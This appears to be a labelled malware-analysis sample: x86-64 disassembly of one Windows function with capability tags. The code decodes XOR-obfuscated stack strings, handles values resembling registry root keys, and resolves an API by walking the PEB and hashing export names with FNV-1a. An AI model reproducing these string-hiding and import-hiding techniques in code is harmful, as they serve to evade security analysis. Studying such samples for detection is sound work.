Function at 0x140009820
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x190
movaps xmmword [rax - 0x38], xmm6
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14003e240]
xor rax, rsp
mov qword [rbp + 0x120], rax
xor r13d, r13d
mov qword [rbp + 8], r13
movabs rax, 0x3c501d10450e4fd8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x2dd96b891bd9542b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xe42a5fbf2e67c559
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xc077b7b48d83d6a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xb4a94f0fc52d8a9c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x1660e57883c165a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x5896038a690bfa6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0xe5d22027883e2e95
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0xc105a66d6308ab9c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xdeec35650c984c00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x2b7d747dba4ad523
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rcx, 0x2c149f05205d4d16
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rdi, 0x3c041d5645414f8b
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rsi, 0x2d9c6bdb1b98547c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs r14, 0xe4465fd02e37c505
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs r15, 0xc012b7dd8de0d6ce
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs r12, 0xb4c04f42c5718aef
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rbx, 0x1613e51783b365c0
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5d5604ca6f6bfc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xe5b6204988572ec2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0xc125a61e637fabf3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0xde8935030cfd4c44
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x2b0f7418ba2ed54d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0x100], ymm1
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
lea r9, [rbp + 0x20]
lea rdx, [rbp]
lea rcx, [rbp + 8]
call fcn.140009200
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x140009b4f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a917
call fcn.140018978
movdqa xmm6, xmmword [0x140034d10]
movdqu xmmword [rbp + 0x30], xmm6
mov word [rbp + 0x20], r13w
cmp dword [rbp], 0
jne 0x14000a6e8
movabs r13, 0x3c651d2545284fcf
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x2ddd6bbe1bf4541e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe4155fb92e43c56b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xc073b7aa8d99d6be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xb4c04f42c5148a9d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x40]
vmovdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
nop
mov r8d, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140009340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x140009cbc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009cb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a91d
call fcn.140018978
movdqu xmmword [rbp + 0x30], xmm6
xor eax, eax
mov word [rbp + 0x20], ax
movabs rax, 0x3c681d3745244fd9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x2df16bb21bcc5451
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xe4345f802e17c560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xc071b7b88d94d6a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xb4ae4f2dc5188a9b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0xe0]
vxorps xmm0, xmm0, xmmword [rbp + 0x80]
vmovdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
nop
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140009340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x140009e33
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a923
call fcn.140018978
movdqu xmmword [rbp + 0x30], xmm6
xor eax, eax
mov word [rbp + 0x20], ax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x2dce6bbe1bf4541e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe4325fbc2e56c560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xc05fb7b88d8dd6a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xb4b44f2bc51f8a80
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x167de57e83c165af
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5d5604ca6f6bfae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rcx, 0xe5b6204988572ec2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x5d5604ca6f6bfc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
nop
mov r8d, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140009340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x14000a001
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ffc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a929
call fcn.140018978
movdqu xmmword [rbp + 0x30], xmm6
xor eax, eax
mov word [rbp + 0x20], ax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x2dde6bbe1bf4541e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe4305fb12e5fc560
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xc05fb7af8d8fd6a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xb4b44f2bc51f8a80
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x167de57e83c165af
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5d5604ca6f6bfae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rcx, 0xe5b6204988572ec2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x5d5604ca6f6bfc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
nop
mov r8d, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140009340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x14000a1cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a92f
call fcn.140018978
movdqu xmmword [rbp + 0x30], xmm6
xor eax, eax
mov word [rbp + 0x20], ax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x2dd36bbe1bf4541e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe4255fb32e76c56b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xc042b7ae8d93d6ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xb4a54f36c51e8a9d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x167ce57e83c765a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5d5604ca6f6bfa7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rcx, 0xe5b6204988572ec2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x5d5604ca6f6bfc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
nop
mov r8d, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140009340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x14000a39d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a398
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a935
call fcn.140018978
movdqu xmmword [rbp + 0x30], xmm6
xor eax, eax
mov word [rbp + 0x20], ax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x2dcf6bbe1bf4541e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe4095fbe2e56c566
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xc073b7b88db2d6a0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xb4ad4f2bc5058a83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x1672e57983f665a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x5d56029a69abfab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rcx, 0xe5b6204988572ec2
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x5d5604ca6f6bfc9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
nop
mov r8d, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140009340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x14000a56b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a566
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a93b
call fcn.140018978
movdqu xmmword [rbp + 0x30], xmm6
xor eax, eax
mov word [rbp + 0x20], ax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x2dd56bbe1bf4541e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xe4165f862e76c54a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xc077b7a98d8fd6bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0xb4af4f2bc5058a8c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x1613e51783b365ae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0xe0]
vxorps xmm0, xmm0, xmmword [rbp + 0x80]
vmovdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140013200
nop
mov r8d, 1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 8]
call fcn.140009340
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x14000a6e5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a6e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a911
call fcn.140018978
xor r13d, r13d
mov r14d, 0x80000000
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x14000a7ec
lea rax, [rcx + r14]
cmp rax, 5
jbe 0x14000a7e9
cmp rcx, 0xffffffff80000007
je 0x14000a7e9
cmp rcx, 0xffffffff80000060
je 0x14000a7e9
cmp rcx, 0xffffffff80000050
je 0x14000a7e9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov esi, dword [rdx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x14000a7c7
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14000a7c7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rdx, [r11 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r11
mov r9d, 0x811c9dc5
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14000a7c2
nop
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x14000a7a0
cmp r9d, 0x1242154a
je 0x14000a7cc
test r10d, r10d
jne 0x14000a780
mov rax, qword [rax]
jmp 0x14000a750
mov edx, dword [rsi + 0x1c]
add rdx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov eax, dword [rdx + rax*4]
add rax, r11
call qword [0x14002a320]
mov rcx, r13
test rcx, rcx
je 0x14000a8dc
lea rax, [rcx + r14]
cmp rax, 5
jbe 0x14000a8dc
cmp rcx, 0xffffffff80000007
je 0x14000a8dc
cmp rcx, 0xffffffff80000060
je 0x14000a8dc
cmp rcx, 0xffffffff80000050
je 0x14000a8dc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov esi, dword [rdx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x14000a8b9
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14000a8b9
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rdx, [r11 + r10*4]
mov edx, dword [rdx + rdi]
add rdx, r11
mov r9d, 0x811c9dc5
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x14000a8b4
nop
movsx r8d, r8b
xor r8d, r9d
imul r9d, r8d, 0x1000193
movzx r8d, byte [rdx]
lea rdx, [rdx + 1]
test r8b, r8b
jne 0x14000a890
cmp r9d, 0x1242154a
je 0x14000a8be
test r10d, r10d
jne 0x14000a870
mov rax, qword [rax]
jmp 0x14000a840
mov edx, dword [rsi + 0x1c]
add rdx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov eax, dword [rdx + rax*4]
add rax, r11
call qword [0x14002a320]
nop
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140018520
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001e7c4
nop
call fcn.14001e7c4
int3
call fcn.14001e7c4
int3
call fcn.14001e7c4
int3
call fcn.14001e7c4
int3
call fcn.14001e7c4
int3
call fcn.14001e7c4
int3
call fcn.14001e7c4
int3